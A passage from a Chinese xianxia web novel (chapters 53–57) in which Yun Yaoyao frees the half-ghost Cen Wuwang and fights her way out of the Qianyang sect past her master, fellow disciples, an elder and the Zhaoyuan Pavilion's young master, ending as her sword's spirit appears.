此事云杳窈不说,岑无望也明白这个道理,他沉默着,没有赞同,更不好直接打击云杳窈的信心。 云杳窈看出他心中所想,来不及解释,反问他:“你相信我吗?” 这句话像是给岑无望喂了颗定心丸,他看着云杳窈坚毅的眼神,不再动摇,心想便是真的死在这一刻也无妨。 “我一直都信你。”他笑道。 话音落,云杳窈已然找准阵法停住的那一刻,猛然推岑无望出去。 万鬼窟的出口并不在崖底,而是悬在峭壁间,岑无望的身体穿过阵法,立刻卷入罡风中。 坠落至崖底前,一道金光闪过,问心听凭云杳窈的调遣,预备接住岑无望。 几乎是凭着千万次练就的本能,岑无望足尖一点,稳住身形,翩然立于剑身之上。 问心不作停留,载着岑无望离开思过崖。 而角落里的云杳窈睁开双眼,魂影归位,她不曾让影子回到脚下,而是将黑色衣袍往她身上裹紧,牵着她沿来时路往回走。 月色尚好,即便是一路上有些树影干扰她心神,却总是有惊无险,很幸运,今夜她不曾再与巡山的弟子正面交锋。 刚下了问鼎峰,云杳窈还未走入原先那条小道,便感受到一股寒气。 前方,那抹红白身影似乎等候多时,他抱剑立在树下,寒露打湿浓黑的鬓发与眼睫。 “师妹。”花在溪拦住她的去路,“抱歉了,我不能放你下山。” 云杳窈不愿在此与他多费口舌,脚边的草木尚凝结成霜,空气中的寒意更盛,她微微一笑:“花师兄这是要对我拔剑吗?” 她说着,手往腰侧去摸,其实那里只有一柄空荡荡的剑鞘。 可足够了,身后寒刃已至,她回过身去,以剑鞘作挡,替身边人拦下这突如其来的一击。 拨雪的剑光歪了几分,远处的树轰然倒塌。 “是为师要亲手替乾阳宗清理门户。” 拨雪回到主人手中。寒意一寸寸将四周的生灵冻结,晏珩所过之处,百花凋零,万物不生,寒气能深入大地,将土和草木根系一同冻结。 花在溪道:“师妹,回头是岸。” 晏珩道:“杳窈,把你从万鬼窟释放出的恶鬼交出来。” 他抖落剑上寒气,碎裂的冰晶未曾落地余波直冲她们而来。 这一次,云杳窈抬臂,似乎是不想被这刺骨的寒意伤到。冰晶被寒风裹挟着,刺穿她身侧之人的黑色兜帽。 饮血的冰晶刺入身体,消失不见。被它们所伤,几乎能瞬时冻结伤者的血液和经脉。 其中几个最为锋利的冰晶准确无误埋入心脏,晏珩冷眼瞧着,眼皮未动,带着淡淡的厌烦抬剑刺穿眼前人的心脏。 兜帽最先被剑风所伤,坠落在底,随后云杳窈的脸映入晏珩眼帘,不可置信般瞪大双眼,她头上的发髻高耸,满头珠翠叮铃咣啷,可这声音未能掩饰掉她话中的惊讶和痛苦。 “师尊……” 原先黑色的兜帽变成了落地的红盖头,铺在早已结霜的地面上,在一片白中绽放出一朵颓靡的红。 晏珩身形未动,甚至没有将剑立刻拔出,他眼中闪过慌乱与无措,想要去扶那个即将摔倒的红色身影。 迟来一生,他终于将新婚的妻子抱在怀中,好不容易才看清她的面孔,想要去寻找她眼中浓烈的爱恨和眼泪,然而仅仅靠着这一瞬间的对视,面前人的鎏金眼瞳死死盯着晏珩的双眼,毫无征兆地发动摄魂术。 有一抹不易察觉的鬼气从她眼中泄露而出。 影逃遁回云杳窈脚下。 她踩着前世血泪,看着晏珩与贪惑紧紧相拥,突然笑不出来了,她只觉得无比恶心。 论起撒谎,无人能比得过晏珩。他的深情演到最后,连自己都能骗过。 这只贪惑经由晏珩识海内的欲望和执念滋养,几乎能够完美复刻他心中所想。 不足以致命,却能够困住他片刻。 云杳窈不想继续在这里耗费时间,转身就要离去。 然而花在溪长臂一伸,拦住她的去路:“站住,你竟然如此不知悔改,你还看不明白局势吗?只要你向微尘长老低头认个错,乾阳宗就永远会是你的退路。” 云杳窈最厌旁人说教,若是不得不听,她尚且能装一装,但此刻却是没什么必要了。她看从前与花在溪相处得还算融洽,不想要把话说得太重。 “人活一辈子,怎么能只盯着退路看呢?花师兄,我要下山,绝对不止是因为岑无望。当初拜入乾阳宗是为了活下去,现在离开乾阳宗,也只是想过好我的余生。” “可是你离开了乾阳宗,还能干什么呢?多少人挤破脑袋想要拜入乾阳宗而无门,你与微尘长老决裂,哪个宗门还敢收留你?” 花在溪练了一辈子剑,他确信自己还会继续练下去,他身边无数位乾阳宗的同门都会在剑道潜心修行一辈子。剑和道是他们活下去的全部意义,若在几个月前,有人告诉他,乾阳宗即将出现一个贪恋凡尘,甚至不惜逃离宗门的弟子,他肯定不会相信。 花在溪不明白为什么只是去了一趟上古秘境,一切就都变了。 向来看不顺眼的廖枫汀猝然离世,死因尚不明朗;被视为弃子的师弟堕为恶鬼,被锁在万鬼窟中经受日夜折磨;向来乖巧伶俐的师妹铁了心要与他分道扬镳,奔入凡尘。 可是凡人寿数何其短暂,花在溪根本想象不出眼前娇俏年轻的师妹变成满头白发,皱纹遍布的媪妪。 他嘴唇颤抖,看清云杳窈眼中的坚定,道:“你疯了。” 第54章 “我不是从此不练剑不修仙,我只是不想再将自己困在乾阳宗。”云杳窈说,“天下之大,我在徐师姐的书中见过,在岑无望的口中听过,总要亲眼看一看。” 花在溪抓了抓头发,他总觉得还是必须要拦住云杳窈,心底的直觉告诉他,若是今夜留不住云师妹,恐怕就真的要与她形同陌路。 “你偏要这般任性吗?师妹,我听闻你本就出身于乡野,难不成你已经忘了身为凡人有多少痛苦?你甘心从乾阳宗离开,去体验什么凡尘生活,难不成你忘了……” 云杳窈当然没有忘,那些潦倒到连自尊都一文不值的日子里,她却总是忍不住想要祈求一点爱。 她以为踏入所谓的正道,便会与过往分割开来,可如今回顾那些清贫困苦的日子,她仍旧记得那些难以下咽的苦涩。 “我不曾忘记那段命若草芥的日子。” 云杳窈回首,看了看仍旧沉溺在贪惑制造出的幻象中的晏珩,又将目光移回满脸激愤与桀骜的花在溪脸上。 “正因我经历过俗世烦扰,知道什么是颠沛流离,什么是人心险恶,什么是无能为力。所以我始终做不到无情,做不到阅青史低头袖手,问红尘缄口回头。我无法对人间疾苦熟视无睹,无法麻木,无法不心生悲悯,无法不萌生私情妄念。” “或许,我与岑无望一样,都是师尊眼中的逆徒,是不可教化的俗人。他再难,也从未想过将我抛下。救命之恩,相濡以沫之情,实在无法割舍。” 云杳窈眼中真诚,足以将四周的黑暗照亮,更衬得花在溪苍白无力,辩无可辩。 花在溪脸颊发热,他咬着牙召出剑。 “不能走,你不能就这么离开。” 若离开,就真的要坐实她叛逃的罪名了。花在溪想,他这是在为云师妹考量,等微尘长老清醒过来,一同劝说,她早晚会明白世间险恶,岑无望是靠不住的,惟有这里才是她的家。 花在溪未曾真的拔剑相向,他连剑都未曾拔出来,只想恐吓云杳窈一番,好叫她歇了今夜远行的心思,乖乖留在门中思过。 他知道师妹不喜欢被关起来罚抄门规,但他会陪着她。 这样想着,他底气更足:“师妹……” 然而下一刻,云杳窈抬脚侧踢,裙摆在空中划出完美的弧线,准确无误的将他的剑踢落。 她早就想这么做了。 长舒一口浊气,云杳窈正色道:“花在溪。” 花在溪仍沉浸在剑被她踢落的震惊中,他怔怔看着云杳窈,仿佛从未真正认识过眼前人。 “下次见面,我们堂堂正正打一场。”云杳窈说,“我不需要轻敌的对手。” 她下巴微微抬起,神情亦如当年初次来到问鼎峰。 青涩稚嫩的师妹春日试炼上打败了不知多少声名在外的世家子弟。 云杳窈尚且不知自己藏着多大的能量,能在岑无望的指导下摸索出杀意浓厚,化繁为简的剑招,这是寻常弟子难以企及的高度。只知道从某刻开始,大家都开始有意无意将她排除在外。 她那时以为,是这些自幼习剑的同门看不上她这种野路子,加之花在溪中途插一脚,几乎把她的傲气全部浇灭。 云杳窈疾步离去,顺便将象征身份的乾阳宗玉牌丢下。 玉碎,她心头随之畅快,就好像一直堵在心口的石块终于被移开,脚步也越来越轻快。 花在溪没有去第一时间将剑捡回来,他攥紧拳头,终于从袖中取出一只定位焰火。 巨大的烟花绽放在夜空中,花在溪在忽明忽暗中垂着头,神色难辨,等烟花坠落,他以灵力传讯,无数弟子的随身玉牌泛起红光,传递着一则紧急消息。 “乾阳宗弟子云杳窈、岑无望,现已叛 逃,请诸位同门共同前往,缉拿叛逃者。” 云杳窈听见身后炸开的声音,她脚步一顿,不过不是因为定位的传讯烟花太过吵闹,而是因为看见了岑无望。 立于黎明前,隐于黑暗中,不复往日的清隽贵气,如今的模样略带狼狈,却仍旧有一种气定神闲的感觉。 他的墨发纷飞,云杳窈再定睛一看,岑无望的面色带着浅浅笑意,青色宽袖在晨风中飞舞,那分明是因她而招展的旗。 在岑无望的身旁,还站着一个许久未曾照面的人。 徐清来快步走来,不像是来围截她与岑无望的。 果然,徐清来开门见山:“听闻你要远行,我作为友人,前来送一送你。” 云杳窈放慢脚步,她道:“徐师姐,你不能出现在这里。” 她与岑无望可以一走了之,可出身西晴徐氏的徐清来仍有族人,仍有许多斩不断的牵挂,若是其他同门看见了,难保不会给她带来麻烦。 徐清来是个很好的人,没必要和他们牵扯到一起。 然而正因她是个极好的人,所以面对云杳窈有些不近人情的冰冷话语,她仅仅是抿了抿唇,道:“诸多原因,万般理由,都不能阻止我送别友人。” 她将一颗留影石递了过来:“不能和你一起看的风景,就记在这里面吧,或许有朝一日,我们还能重逢。” 云杳窈拿过石头,上前与徐清来拥抱。 她还沉浸在分别的伤感中,徐清来推开她,道:“杳窈,你自由了。” 接着,徐清来又面无表情抹过脸上突兀的泪痕,继续说:“不要为任何人停留,快走吧。” 她松开手,就像是平静的松开了一场少女时期的梦。 现在,梦醒了。 徐清来有点遗憾,可究竟在遗憾些什么,她在原地思考许久。 大概是那些未曾和她一起读完的书卷吧。 徐清来看着不远处黑压压的人潮往这里奔涌而来,很可惜,她不是能够戏水的游鱼,也不是远航的船。 她要融入这片泡沫中,化成一滴水。所能做的最大助益,就是推一把决定远离死水的人。 所以,她对同门撒了个谎:“我途径此处,没看见他们从这里走。或许就是为了逃避门中追捕,才特意没从这条近道逃走呢。” 第55章 过山门不过是逃离乾阳宗的第一步。 山门大阵的结界范围自山门开启,一路延伸至山脚下。没有花在溪帮衬,云杳窈和岑无望只能试着强闯迷阵。 山路崎岖难行,云雾缭绕。 或许正是因为看不清前方的路,云杳窈其他感官被放大数倍。她能清晰的听出岑无望粗重的喘息和萦绕在鼻腔的血腥味。 岑无望身上的鬼气越来越浓重,云杳窈隐约看见他眸中红光闪烁。 脚踝被铁链洞穿的伤口无法愈合,他还不知痛似的,半个痛字都不会说。 云杳窈搀着他,汗从额头滑落至鼻尖,在她低头时摇摇欲坠。 “再坚持一下。”云杳窈几乎是从牙缝里挤出这句话的,“我会带着你离开的,岑无望,你再坚持一下。” 鉴义的在前侦察,铺天盖地的丝线分散向前,极快的消耗着云杳窈的灵力。 饶是这般,她与岑无望的下山速度也并没有加快多少。 她像是鼓劲似的,将岑无望的手臂架在肩膀上,攒着心口一口气道:“没事的,我已经把弟子玉牌丢在了山上,他们暂时没办法准确找到我们的方位,还能再拖延一段时间……” 岑无望极力控制着自己的鬼气,他能闻到云杳窈身上淡淡的香味,还有越来越浓烈的,隐于肌肤之下的血香。 本能令他头脑发昏,嘴唇嗫嚅着,想要寻找到什么。 云杳窈费劲儿听了半天,才听清楚他所言仅仅一字而已。 “渴……” “渴……” “渴……” 岑无望冰凉的鼻息扫过云杳窈侧颈,开始在无意识环抱住她,这让她寸步难行。 云杳窈知道他受鬼气折磨,不免产生些幻觉妄念。鬼化能提升岑无望的修为,代价却是让他逐渐丧失作为人的特质,直到变成一个只被欲望和杀心驱使的恶鬼。 她知道岑无望难受,但又担心他会在神志不清时伤害自己,于是干脆停了下来,一口咬上岑无望手腕,尖利的虎牙深深嵌入岑无望的皮肉里,直至他被疼痛唤醒神志,她才停了下来,喘着粗气冷声询问:“醒了吗?” 岑无望眼神迷离,他看见云杳窈唇边一抹红,只觉得天地倒悬,眼前仅剩下这么一点润而艳的色泽。 这目眩神迷的艳丽让岑无望的牙根有点发痒,嘴唇上的干涸越来越明显,他俯首凑近,带着痛苦与渴望,颤颤巍巍发出一声近似呻吟的祈求:“能不能……” 下一刻,云杳窈捂住他的口鼻,佯装镇定。 “不能。” 她警告道。 “无论你在想什么,都要忍住,不能真的放任自己失去理智,明白吗?”说完,云杳窈看见岑无望眨了眨眼,似乎是恢复了些神智。 这回岑无望没有道歉,他无师自通般对着云杳窈的掌心吐了一口气,不费吹灰之力就将她惹得炸毛。 “你有病吧。”云杳窈甩了甩手,岑无望却低声笑了起来。 云杳窈重新架起岑无望,抱怨道:“岑无望,你的骨头硌得我好疼。” 她的脚步越来越慢,害怕岑无望的意识再次迷失,所以不断翻找着话题。 “万鬼窟可怕吗?你给我讲讲,我之前被晏珩关在崖底,并没有真的进入万鬼窟,光是听见万鬼哭号的声音都会做噩梦。” 岑无望的脑子里一团浆糊,听见她的声音,费力思考一番,才回答:“还好,就是黑了点。” 不小心踩到一个石块,他趔趄一下,差点摔倒。 “小心!”云杳窈稳住身形,浑身肌肉都紧绷着,害怕岑无望带着她顺着山道滚下去。 两人缓了口气,接着往前走。 “万鬼窟就和这里一样黑。”岑无望说,“你害怕吗?” 云杳窈说:“我不害怕了,我们就这么互相扶持着,我就想不起来害怕了。” 阳光被树荫遮蔽,云杳窈只能凭借着零落的光斑和鉴义辨认道路和方向。 在所有不可视的危险中,满身鬼气的岑无望反倒让她的心踏实了不少。 “我在万鬼窟,杀了很多鬼。”岑无望突然说,他说得很艰难,仿佛那一摔已经消耗了他太多力气。 云杳窈被他压得喘不过来气,她将岑无望快要滑落的手臂往上抬了抬,沉声回复:“没事,都过去了。有我在呢,我救你,我们一定能走出去。” “万鬼窟的鬼里,都是晏珩百年来从世间搜集而来的,穷凶极恶之辈。”岑无望说,“越往深处去,就越是忘记了自己原本的模样。” 云杳窈忽然感受到一滴水落在她的后颈肌肤,灼热到她难以忽视。 她何其聪颖,几乎是没费多少力气就明白了岑无望的言外之意。 但她不能顺着岑无望的话继续说下去,她害怕越说越泄气。 “别怕。”云杳窈抬头,终于看到前方有光亮出现。“不要再想那些事情了,我们先出去,活着的人总比死了的更有价值。” 岑无望说:“万鬼窟的深处,全是我染病而死的族人。” 无一具骸骨,他却能嗅到尸山血海的腥臭。 千年前的噩梦还历历在目,他如今总算能真情实感共情灵君。 云杳窈无言,她的汗还在继续流淌,已经和那些泪融为一体,沁入衣衫,不分你我。 “你觉得自己是罪人,可是你有没有想过,只有生者才能创造意义,历史由死者缔造,却由生者书写,活下去的才能看见希望。” “你觉得对不起他们,就为他们正名,为他们立碑,让他们真正得以安息,难不成化为厉鬼,浑浑噩噩活了数千年就是什么好事吗?” 岑无望道:“那你有没有想过,你从万鬼窟带出的我,到底是人是鬼。” 原本空洞的脚踝伤口再次被锁紧,铁链如影随形,如同生长在他身上的一部分,将他锁在离乾阳宗出口的最近处。 云杳窈半个身子已经离开阵法,暴露于阳光之下。 阵外,怀璞长老将拂尘 一甩,口中念念有词。 岑无望的鬼气在剧烈的痛苦中不断外溢,他的双手已经成了枯骨,牙齿如兽齿,森然可怖。 “老朽久候多时,你们真是让我好等啊。”怀璞长老睁开双眼,他道:“这锁魂链是为恶鬼打造的,能穿透魂魄,困锁鬼魂,你还想逃到哪里去!” 他此前一直没有寻找到机会单独教训岑无望,积怨已久。 廖枫汀是他的得意弟子,就这么草草死在外头,他不可能放过罪魁祸首。 如今没了晏珩在侧,他恨不得直接将岑无望杀死,为爱徒报仇。 怀璞长老道:“你们不会以为山门大阵不过是个摆设吧。” 他启阵,无数灵气如刃,向岑无望削去。 岑无望如今是半鬼半人,在锁魂链的催动下鬼化更加明显。 而山门大阵中的灵刃,不止有削骨断筋之能,更能直击魂魄,让强闯乾阳宗的恶鬼试试什么叫凌迟之痛。 问心剑气作挡,拦下第一波灵刃。 灵刃与问心还有鬼气交缠,因其数量多,且阵法内几乎没有死角,很快,那些灵刃就从各种意想不到的方位飞出,向岑无望袭去。 “云杳窈,你若执迷不悟,还要护着这戕害同门的恶鬼,我也再难顾及微尘师弟的颜面。”怀璞长老摇头,“我一直以为你与枫汀关系近,至少不会在此事上犯糊涂。如今看来,你的清白不过是微尘师弟的一面之词。” 拂尘再次扬起,几名在怀璞长老身后的乾阳宗弟子迅速围了上来,将云杳窈和岑无望分割开来。 几人身位变换,数剑齐发,剑意组成的阵列将云杳窈围困在一方狭小空间内。 为首的那名弟子,云杳窈记得他的名字:“段祐。” 段祐听见她喊自己,抿着唇脸色阴沉下来,问她:“云师妹,你到底是不是岑无望的帮凶。” 云杳窈道:“岑无望是被冤枉的,他根本不是杀害廖枫汀的凶手,而我自然更不能称之为帮凶。” 段祐看着她,道:“那好,即便真如你所说,他岑无望并非杀害廖师兄的真凶,那你该如何解释他如今的这副模样?他可是鬼,潜入宗门,必有所图,你替他百般辩解,是因为你顾念兄妹之情,还是压根被他所操控,以至于一叶障目,不见实情。” 他越说越愤慨,身体不由得微微前倾,连本命剑都随之颤抖。 他身侧的弟子立刻提醒:“师兄。” 段祐稳住心神,他眼眶微红,不顾同门暗示,继续道:“你明知道的,廖师兄他是个多么好的人,你怎么忍心让他断送性命,甚至为了袒护凶手迟迟不肯回宗门,你肯为岑无望日日赴约命殿,难道就不肯替廖师兄的亡魂上一柱香吗?” 他微微有些哽咽:“你明明知道……连整个常慎峰的弟子都能看出来,廖师兄他对你多有照拂。” 段祐的手已经不稳了,云杳窈趁此机会,提问心破阵。 其余几位弟子很快便反应过来,缩小剑意范围,想要提前截断她的出路。 在常慎峰弟子们围攻云杳窈时,她突然感受到一股灵气自丹田而起。 她突然在交手时提前预感到了这些招式的落点。 一直止步不前的境界在这一刻突然提升,没有任何征兆。 除却灵气的提升,她脑海中突然浮现一段模糊的记忆。 常慎峰弟子所用剑阵,她好像在哪里见过。 第56章 并非在乾阳宗,熟悉感令云杳窈手中剑偏离半寸,险些刺伤阵列最前的段祐。 眼前闪过一角红衣,段祐的身影仿若和脑海中那个一闪而过的红袍银甲少年重叠,她不自觉张开嘴唇,眼角的肌肉随之抽搐,手腕狠狠一转,这才及时避开。 与此同时,陡然进阶的境界伴随着巨大的灵气流转,在这一刻,万物的面目突然清晰,空气中的灵气运行仿佛有了固定轨迹,冲散刚才的画面。 云杳窈的发丝衣袖纷飞,左手握住手腕,汇入灵气,将满眼震惊和慌乱的段祐振开。 他向后滑行数丈远,地上留下一道长且深的痕迹。即便如此,段祐仍是没有停下来,最终还是怀璞长老抬掌,将他拦了下来。 段祐紧着腮肉,喘了几口气,没等师父和众师兄弟上前查看,就重新握剑冲了上去。 招招狠厉,直冲云杳窈面门。 “你与岑无望狼狈为奸,残害同门,还我师兄性命!” 云杳窈左右闪躲,避开几招又急又凶的横扫和刺挑。在段祐改变方向,突然冲她下身挥砍时,她并没有立即往后退,而是轻盈一跳,稳稳踩上他的剑尖。 云杳窈知道多数情况下,语言是苍白无力的。廖枫汀的死无可挽回,而晏珩威望深重,即便她把嘴皮子说破了,也没人会信实情。 但她不能任凭他们污蔑。 “我再说一遍,我们没有杀害廖师兄。说到底,你们并没有证据证明凶手是我们,空口无凭,为何就要笃定是我与岑无望杀了他。” 段祐说:“廖师兄的棺椁就停在命殿后的,他的身上还有鬼气残留,不是岑无望难道还能是花师兄吗?” 云杳窈眨眨眼,突然笑了:“你自己都说了,只是鬼气残留,这些浮于表象的东西都可以搜查,如若真的想知道究竟是不是被鬼所杀,为何当初不趁头七没过,用聚魂之术强召他魂魄,好好问问当日真相。当时进入幻境的又并非岑无望,晏珩是不是撒了谎,也未可知啊。” 段祐额头青筋鼓起,剑向上挑。 云杳窈借力飞回岑无望身边与他背靠背,各自击退聚在身旁几个弟子。 段祐喘着粗气,眼神在两人身上来回看,咬牙切齿道:“住口!是你们!你们明明把师兄的魂魄都打散了,还敢提聚魂,你们何其狠心!” 云杳窈的笑僵硬在脸上,她道:“不可能,我那时进入卫英台,明明……” 几位弟子再次聚集起来,配合着段祐再度围上来,怀璞长老挥动手中拂尘,为段祐护法输送灵力,这下原本略显吃力的段祐灵力猛增。 “莫要与她多言,将这二人速速拿下。”怀璞长老道。 他说罢,转动拂尘,在手中翻转后,拂尘化为一柄长剑,毫不犹豫向云杳窈和岑无望刺去。 好快! 怀璞长老的速度极快,快到云杳窈根本看清不清楚他灵气的运行,他的剑气就已经来到了面前。 云杳窈想要横剑挡住这正面一击,然而怀璞长老来势汹汹,境界的威压直接盖在所有人的肩上,根本不给反应的机会。 她甚至能听见有人的膝盖坠地,跪出巨大声响。 风势已经袭击到了脸上,但云杳窈动作始终慢一步,双腿犹如灌了铅。 心脏就要跳出来了,身后还站着岑无望,她边下意识喊着岑无望的名字,边抬剑去试图抵挡。 “岑无望!”她喊,却并不是寻求帮助,“走!” 云杳窈的腿都在抖,然而她想,就这一次,哪怕让她就逞这一次的英雄,让岑无望快逃吧。 她是个惜命胜过一切的人,但是为什么会在此刻奋不顾身,她也不太清楚。 这是个完全遵循本心的反应。 是对少年岑无望侠肝义胆的模仿,还是对自己过往懦弱的补偿,亦或者,仅仅是因为那一点说不清道不明的情愫作怪。 总之,云杳窈确信,她是想让岑无望自私一回的。 在剑落下前,浓郁的鬼气从云杳窈背后升起,排山倒海般将她包裹住,无数只鬼手挡在她身前,有一个黑色的身影从她身侧飞了出去。 云杳窈这才大口呼吸,汗瞬间浮起,浸湿后背。 剑破空的声音消失,虫鸣与山间鸟啼也消失了。 万物陷入寂静,这一刻,似乎连风的声音都被强制剥夺,灵气和鬼气聚于一点,那个熟悉的身影挡在前面,抬手解了喉间的封印。 岑无望发出危机情况下的第一道指令。 “弃剑。” 声音浑厚有力,分明是怀璞长老的嗓音。 音咒的效果立竿见影,怀璞长老感觉到自己的手像是不听使唤了一般,逐渐松开五指。 剑随之落地,尘土与碎石纷飞。 第一道音咒使用完,岑无望的鬼化程度更深,他的乌发在空中飘飞,苍白肌肤之上没有血色,无数条血管在皮下爆裂开 ,泛出蜿蜒的暗红痕迹。 不知何时,一个青色衣衫的少年自山间迷雾中御剑而至,自后方冲入鬼气,如鬼魅般轻巧。 一只微凉的手搭在她肩上,道:“别动。” 横在云杳窈脖子上的,是一柄扇子,且是扇骨暗藏锋利刀刃,足以割喉见血的扇子。 与岑无望一般身形,甚至连音色都有些相似。 鬼气竟然就这么毫无防备的让他一路通行,并没有发起攻击。 闻佩鸣亲昵在她耳边问候:“许久不见,师姐怎么都不和我打声招呼再走?” “闻佩鸣。”她还是思索了一下,才想起这个名字。 “嗯,我在。”闻佩鸣叹了口气,似乎有些失落,“我两次为师姐而来,师姐却吝啬于给我些笑脸,是不是太薄情了些。” 云杳窈恨声:“你想做什么?” 他笑眯眯答:“自然是,想要随师姐左右,我早就说过,我这一世受上苍使命而生,三千命数中,有三条不可更改的既定命途,其中一条便是我的红线。” 闻佩鸣唇边笑意越发明显:“命定之人就在眼前,我自然要抓住机会。” 云杳窈其实一直都不懂得他在胡言乱语什么,只当是少年天真,拉着她说些狂言,以此凸显出自己的与众不同。 不过现在看来,他似乎很信这三条预言。 明明是这么傲气的人,为什么会如此迷信这些虚无缥缈的预言? 云杳窈不懂,她重来一世,虽仍未能报仇雪恨,但已经明白一个道理。即便是既定的命数,也有可转圜的余地。 “我还以为你能说出些什么新奇言论。”云杳窈道,“这么信命,有没有看到自己的死期?” 这种刻薄的话没有让闻佩鸣恼怒,他思索片刻,道:“这个我不能告诉你,但我看到过另一个人的死局。” 他将云杳窈挡在身前,回身想要刺穿他咽喉的岑无望硬生生停了手,指尖距离云杳窈的眼睛很近,她看不见岑无望的狠厉杀招,只能看见他脸上狰狞密布的伤痕。 “哎呀。”闻佩鸣用手心蒙住云杳窈的眼睛,对岑无望说,“你这副模样,千万别吓坏她了。” 岑无望道:“放开她。” “不能呢。”闻佩鸣说,“我照渊阁向来遵循公平交易,你有什么等价的珍宝能换吗?就敢口出狂言向我讨人。” 两人间的火药味弥漫,怀璞长老横插一脚:“闻佩鸣,快,先带她到我这里来。” 他咳了两声,借剑站了起来,似乎受了不轻的内伤,血从口中溢出来,狼狈异常。 “你也同理。”闻佩鸣礼貌道,“长老可是想起手中有什么价值连城的宝物了?” 怀璞长老又是一口血,他皱着眉呵斥道:“你这是什么意思。” “字面意思。”闻佩鸣转了转扇子,抬眼望向不远处的飞舟。 绿紫丝线绣成的鸩鸟图腾在旗帜上翻飞,栩栩如生,飞舟遮天蔽日,很快就在他们上方停下,在大地上投射出一块阴影。 “少阁主。”天枢落地,抱剑躬身行礼。 他身后紧随着一众黑衣劲装的照渊阁侍从,迅速将场面转成他的主场。 “此地不宜久留。”天枢道,“毕竟是在乾阳宗山下,为少阁主贵体着想,还是先随属下回到飞舟内,再将实情一一告知云仙子。” 他斜睨了岑无望一眼:“还有这位……岑仙长。” “你这是要干什么?”怀璞怒道,“你们一个两个都不服管教,这就是照渊阁与我乾阳宗结为同盟的态度吗?少阁主如此出尔反尔,是否是阁主授意?” 他不停咳嗽着:“这二人杀我爱徒,我定要让他们偿命,你今日若执意带走他们,就是向我乾阳宗宣战。纵使是天涯海角,我也会循迹而至,亲取他们的性命。” 每个字都带着血和恨。 云杳窈早听说怀璞长老有意将廖枫汀作为继承人培养,爱如亲子,却还是在看见此情此景后难免有些惊讶。 毕竟他的亲生儿子花在溪,并不怎么受他待见。 看来于怀璞长老而言,廖枫汀的分量,远胜亲子。 天枢根本没正眼瞧他,低头谦卑请示:“少阁主,要杀了此人吗?” 第57章 闻佩鸣一直将云杳窈挡在身前,扇骨的暗刃划破了云杳窈的颈间肌肤,渗出丝丝鲜血,才让岑无望有所顾忌。 他抬抬下巴,很快几名照渊阁侍从就拿着事先准备好的法器,将岑无望彻底围困捆束。 将云杳窈交由天枢手中,闻佩鸣打开扇子,轻轻摇了摇,掩下唇边讥诮,摇了摇头。 “虽说我至今未曾正式行拜师礼,但这老头总归是乾阳宗的长老,即便师徒缘份浅薄,也不至于杀了他。” 闻佩鸣上下打量了怀璞长老一番,几不可见的皱了下眉头。 “行了,恕在下不能送长老回去,我们有缘再见。” 说完,他自顾自从属下的手中接过两根根略显破旧的褪色长纱,佐以灵力。 长纱像灵活的蛇,分别缠在闻佩鸣和云杳窈手臂上。 云杳窈想甩开,但绸带丝滑向下,将她的手指卷好,不给她机会解开。 两条纱在空中再次交缠,打成一个连环回文的结。 “缘牵一线,绾结同心,师姐你瞧,我们牵在一起像不像……” 闻佩鸣话未说完,岑无望在重重束魂网中挣扎,骤然爆发的鬼气险些将网撑开。 岑无望怒吼:“问心,这时候还不知道护主,要你何用!” 他的面容狰狞,险些要破网而出,天枢等人迅速围了上去,掐诀稳固网上封印。 这蕴含了灵气的一声叩问发出,问心陡然焕发出异样光芒。剑气直冲云霄,自亮光中隐约可见一微弱人影。 乌云密布,天际忽然传来一声沉闷厚重的轰隆巨响,不像雷鸣,更像是某种隐于云层之后的绝迹神兽重现于世。 这柄上古神剑终于展露真容,剑灵在雷光中现身,身形瘦削高挑,眉目坚毅,乍一看雌雄莫辨。 剑灵的人形类持剑者,这柄剑的剑灵说不出哪里与云杳窈相仿,偏偏眉目神似云杳窈,看起来清丽无害,却睚眦必报,带着一种隐而不发的坚韧和不甘。 剑是没有性别的,但剑灵能够选择自己的性别。她的身法比挥出去的剑气还快,天枢根本来不及看清剑灵的样子,只感觉腰腹剧痛,再有意识时已经被震出去几十丈远,身体将远处的新树砸断,他口吐鲜血,五脏六腑移位,无法动弹。 而后,天同剑灵迅速与云杳窈交换眼神。 或许这就是剑修和本命剑之间的默契,今日头一回相见,便如同旧相识,仅仅一瞬,她们在擦肩而过时交换身位,云杳窈握着问心的本体奔向岑无望,而剑灵以灵气化出一柄光剑,想要以同样的方式挟持闻佩鸣。 闻佩鸣的反应速度不及她,可天同却自发挡在他面前,替他挡过剑灵的第一击。 然而剑灵根本不给它喘息的机会,轻轻转动手腕,就把问心挑飞。 落地一瞬,有个尚不能显现真面目的模糊人形光影还想应战,问心剑灵抬腿横扫,将他狠狠压在地上。 她踩着尚未完全显形的天同剑灵,剑指闻佩鸣的咽喉要害,明明与闻佩鸣相对,她眼睛却斜睨着地上的故交。 闻佩鸣似乎没看见眼前威胁,场上攻守异势,竟然还有心思继续攀谈:“久闻问心威名,未曾想能亲眼见证剑灵现世,果真是非比寻常。” “闭嘴。”她不耐烦道,“竖子狂妄,也敢在我面前放肆。” “问心 。“地上的光影突然说话。 问心挑眉,她的手很稳,先是将闻佩鸣以同样的力道打出去,直接把他的嘴强行封上。 而后剑尖回到原位,摆出明晃晃的威胁姿态:“千年不见,你都沦落到为这种人作配了?” 天同想要起身。 “也是。”她嗤笑,小腿发力,将刚离地三寸远的天同踩回去,“本来就不怎么聪明。” 他没有反驳,许是两柄剑本就同根同源,天同虽然一直被压制着,可身影却逐渐清晰,在模糊光影散去后,是一个面目寻常,甚至稍显木讷古板的脸,他的眼睛眨了眨,没有焦点。 问心看出他的不对劲,弯腰凑近,问:“这是瞎了?真是神了,剑灵也能瞎啊。” 她指尖的灵气钻入天同体内,发觉他岂止是瞎了那么简单,体内五感滞涩,分明是还受困于封印,不知为何跑了出来,连维持人形都很艰难。 若是人失去了五感,无异于陷入绝望,天同身为剑灵,如今只能感受到同源而生的问心,以及握剑之人的号令。 闻佩鸣尚未见过天同,一时间不知道该如何指挥他。 那么天同急于现身,极有可能是为了另一个可能。 “快逃。”天同道,“逃啊!这里是……” 远处,拨雪的剑气破空而至,将他的话绞杀在喉中。 没有血,剑准确刺穿天同的喉咙,灵气顺着贯穿伤四散逃逸。 他使出全力,凭借直觉向前推了一把。 问心顺着他的推力避开了拨雪剑气划分出的范围。 折了几条肋骨,逐渐恢复视线的闻佩鸣从地上爬了起来,他用天同支撑着自己的躯体,狼狈地喘了几口气,将口中的血沫子吐了出来。 “我说……我刚和自己的剑灵见面,就这么急着抹杀他,未免有些太不把我放在眼里了吧。” 天枢还在昏迷,其他人也已经被云杳窈和岑无望牵制住。 他只好挥手,让其余人以他为中心,不再围攻云杳窈。 